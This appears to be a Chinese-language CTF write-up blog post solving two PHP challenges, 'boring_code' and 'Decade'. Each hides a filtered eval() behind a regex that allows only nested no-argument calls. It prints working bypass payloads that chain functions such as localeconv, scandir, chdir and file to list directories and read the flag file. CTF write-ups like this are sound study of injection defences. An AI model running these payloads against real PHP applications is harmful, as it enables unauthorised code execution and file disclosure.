[wp] bytectf boring_code &上海市大学生网络安全大赛 Decade

原创

MercyLin 于 2019-11-05 22:23:15 发布 1491 收藏

分类专栏： 网安

本文链接：https://blog.csdn.net/qq_40884727/article/details/102924492

boring_code

这里只截取部分进行讨论

```php
<?php
$code=@$_POST['code'];
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    @eval($code);
                }
                }
else
{
    echo 'NO first';
}

?>
```

题目通过正则表达式来限制传入函数的模式只能为a(b(c()));类似的嵌套模式.
如果我们能得到'.'字符,就可以通过scandir()扫描目录.
下面提供几种在该模式下获取'.'的方法:

```php
<?php
echo pos(localeconv());
# .
echo chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));
# .
?>
```

题目中flag和页面并不在一个页面,scandir('.')扫描当前目录后回显是'.','…'，第二个元素是…,所以还需要通过chdir("…")来切换目录,chdir()的返回值为1.
所以我们还需要通过一些手段来让1变为46
其中一种方法是通过time()函数,该函数可参数可以随意传

```
pos(localtime(time()));
```

该函数会返回一个0~60之间的值.
得到最终payload:

```
code=echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
```

一秒发一个包即可得到flag

decade

```
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
        if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
            if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|l
og/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        else {
            echo "No way!!!";
        }
}else {
        echo "No way!!!";
    }
No way!!!
```

相比之前的题目,这道题目把time()和readfile()还有local给ban了
这里再介绍一种获得'…'的方法:

```
next(scandir(chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))))));
```

同时readfile()的代替方法有join(file())以及serialize(file())
and获得47的方法还有

```
floor(tan(tan(atan(atan(ord(cos(1)))))))
```

有最终payload

```
?code=echo(join(file(end(scandir(next(each(scandir(chr(floor(tan(tan(atan(atan(ord(cos(chdir(next(scandir(chr(fl
oor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))))))))))))))))))))));
```

但是感觉这样的作法就很玄学,不是很通用,然后队里有个学长应该是看了一片关于三角函数表示有理数的文章,写了个脚本也达到了获得相应数字的目的,贴一下文章

> http://blog.sina.com.cn/s/blog_a661ecd501012xsr.html